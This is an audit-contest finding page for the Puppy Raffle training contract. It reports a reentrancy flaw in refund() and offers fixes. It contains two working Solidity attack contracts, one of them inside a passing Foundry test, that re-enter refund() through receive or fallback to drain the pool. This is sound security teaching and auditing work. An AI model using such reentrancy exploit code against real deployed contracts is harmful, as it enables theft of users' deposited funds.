Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in refund() lets one entrant drain all raffle funds

Root + Impact

Description

A player should be able to refund exactly once. Instead, refund() sends entranceFee to msg.sender before clearing players[playerIndex]. Because Address.sendValue forwards gas, a contract player can call refund() again from its receive callback while the same player slot is still valid.

This lets one entrant withdraw repeatedly from the pooled contract balance and steal honest players' deposits.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
// @> External call happens while the refund authorization is still active.
payable(msg.sender).sendValue(entranceFee);
// @> The slot is invalidated only after attacker-controlled code returns.
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood: High

  • Any public participant can enter through a contract and call refund().

  • No reentrancy guard or pre-transfer state change prevents recursive refunds.

Impact: High

  • Each callback transfers another entranceFee until the raffle balance is depleted.

  • Honest deposits and accumulated funds can be stolen, preventing refunds and winner payment.

Proof of Concept

The following Foundry test passes. One 1 ETH attacker entry drains a four-player 4 ETH pool.

contract RefundAttacker {
PuppyRaffle raffle;
uint256 index;
uint256 remaining;
constructor(PuppyRaffle _raffle) { raffle = _raffle; }
function enter() external payable {
address[] memory entrants = new address[](1);
entrants[0] = address(this);
raffle.enterRaffle{value: msg.value}(entrants);
index = raffle.getActivePlayerIndex(address(this));
}
function attack(uint256 refunds) external {
remaining = refunds;
raffle.refund(index);
}
receive() external payable {
remaining--;
if (remaining > 0) raffle.refund(index);
}
}
function testRefundReentrancyDrainsAllDeposits() public {
RefundAttacker attacker = new RefundAttacker(raffle);
attacker.enter{value: 1 ether}();
address[] memory honest = new address[](3);
honest[0] = address(2);
honest[1] = address(3);
honest[2] = address(4);
raffle.enterRaffle{value: 3 ether}(honest);
attacker.attack(4);
assertEq(address(raffle).balance, 0);
assertEq(address(attacker).balance, 4 ether);
}

Run:

forge test --match-test testRefundReentrancyDrainsAllDeposits -vv
[PASS] testRefundReentrancyDrainsAllDeposits()

Recommended Mitigation

Apply checks-effects-interactions by invalidating the slot before transferring ETH, and add nonReentrant as defense in depth.

- payable(msg.sender).sendValue(entranceFee);
-
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
+
+ payable(msg.sender).sendValue(entranceFee);
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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